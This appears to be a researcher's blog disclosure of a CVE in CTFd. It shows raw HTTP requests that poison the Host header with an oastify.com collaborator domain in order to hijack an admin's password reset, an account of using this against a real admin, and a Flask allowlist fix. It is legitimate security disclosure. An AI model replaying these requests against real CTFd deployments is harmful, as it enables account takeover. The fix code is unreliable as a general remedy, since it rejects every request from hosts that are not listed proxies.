New-CVE

This vulnerability was found by: taneora(HUST Ha Noi City), h???(PTIT HCM City), thD(VLUTE), thewindghost(Manager PEN CTB) from Codetoanbug Team.

1. Introduction:
I first examined the CTFd source code and noticed that it did not secure or filter the Host Header. This is where the vulnerability starts.

2. Host Header Injection:
The request looks like this:

GET / HTTP/2
Host: 0ghb7us820bm4l90zd2vvixkhbn2bszh.oastify.com
Cookie: delete
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


I changed the Host Header to use my Burp Suite collaborator. If the request is received by my server. This is a bug

3. Exploit the Vulnerability + 4. Steps to Exploit Reset Password:
I logged into my user account and reset my password. The password reset token was included in the URL. Next, I attempted to exploit this to reset the admin’s password.

I obtained the admin’s email from Discord and sent a request to reset the password:

POST /reset_password HTTP/2
Host: zx0aot97jzsllkqzgcjuchejya41ssgh.oastify.com
Cookie: delete
Content-Length: 120
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: https://
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

email=mail-victim%40gmail.com&_submit=Submit&nonce=fake-937dd2059eb240c25ca77ff5743d4aee

and i change domain collaborator in host header request

Then, I waited for the admin to click the reset link and successfully hijacked the password reset process.

okay and we will reset password for login account admin.

Finally, I successfully exploited the vulnerability. One hour later, I spoke with the developer, but he didn’t understand that I had hacked and gained access to his account. I explained it to him and asked him to send me a screenshot of the email.

5. Security Fix:
To secure against this vulnerability, you can add the following code to wsgi.py and run it with Gunicorn:

import os
import re
from flask import request, abort
from CTFd import create_app

ALLOWED_HOSTS = {
    "example.com", #change domain server
    "192.168.1.1", #change ip public
}

ALLOWED_PROXIES = {"127.0.0.1", "192.168.1.1"} #change ip public

BLOCKED_HOST_REGEX = re.compile(r"^(localhost|127\.0\.0\.1|0\.0\.0\.0|::1|local)$", re.IGNORECASE)

app = create_app()

@app.before_request
def strict_host_protection():
    host = request.headers.get("Host", "").split(":")[0]
    forwarded_host = request.headers.get("X-Forwarded-Host", "").split(":")[0]
    remote_addr = request.remote_addr
    forwarded_for = request.headers.get("X-Forwarded-For", "").split(",")[0].strip()
    real_ip = forwarded_for if forwarded_for else remote_addr

    if forwarded_host and forwarded_host not in ALLOWED_HOSTS:
        print(f"[SECURITY] 🚨 block: {forwarded_host} -> {real_ip}")
        abort(400)

    if remote_addr in ALLOWED_PROXIES:

        if BLOCKED_HOST_REGEX.match(host) or host not in ALLOWED_HOSTS:
            print(f"[SECURITY] 🚨 block: {host} -> {real_ip}")
            abort(400)
    else:

        abort(400)

if __name__ == "__main__":
    app.run(debug=False, host="127.0.0.1", port=4000)

Apply my security code to safeguard against this vulnerability and ensure we are protected!

Thanks for read again!

6. Vendor Response:
When I reached out to the CTFd vendor, they told me that users need to configure Nginx for security. However, according to cybersecurity best practices, security should be built by design and by default. CTFd does not follow this policy.

MITRE accepted my submission based on this reasoning.


I would like to express my gratitude to MITRE for its fairness in managing CVE updates.

Link Secure by Design and Secure by Default: https://safestack.io/blog/resources/secure-by-design-and-default-a-beginners-guide#:~:text=Secure%20by%20Design%20means%20security,with%20no%20extra%20configuration%20needed.

Link 2: https://www.cisa.gov/securebydesign

TheWindGhost

Leave a Reply

Your email address will not be published. Required fields are marked *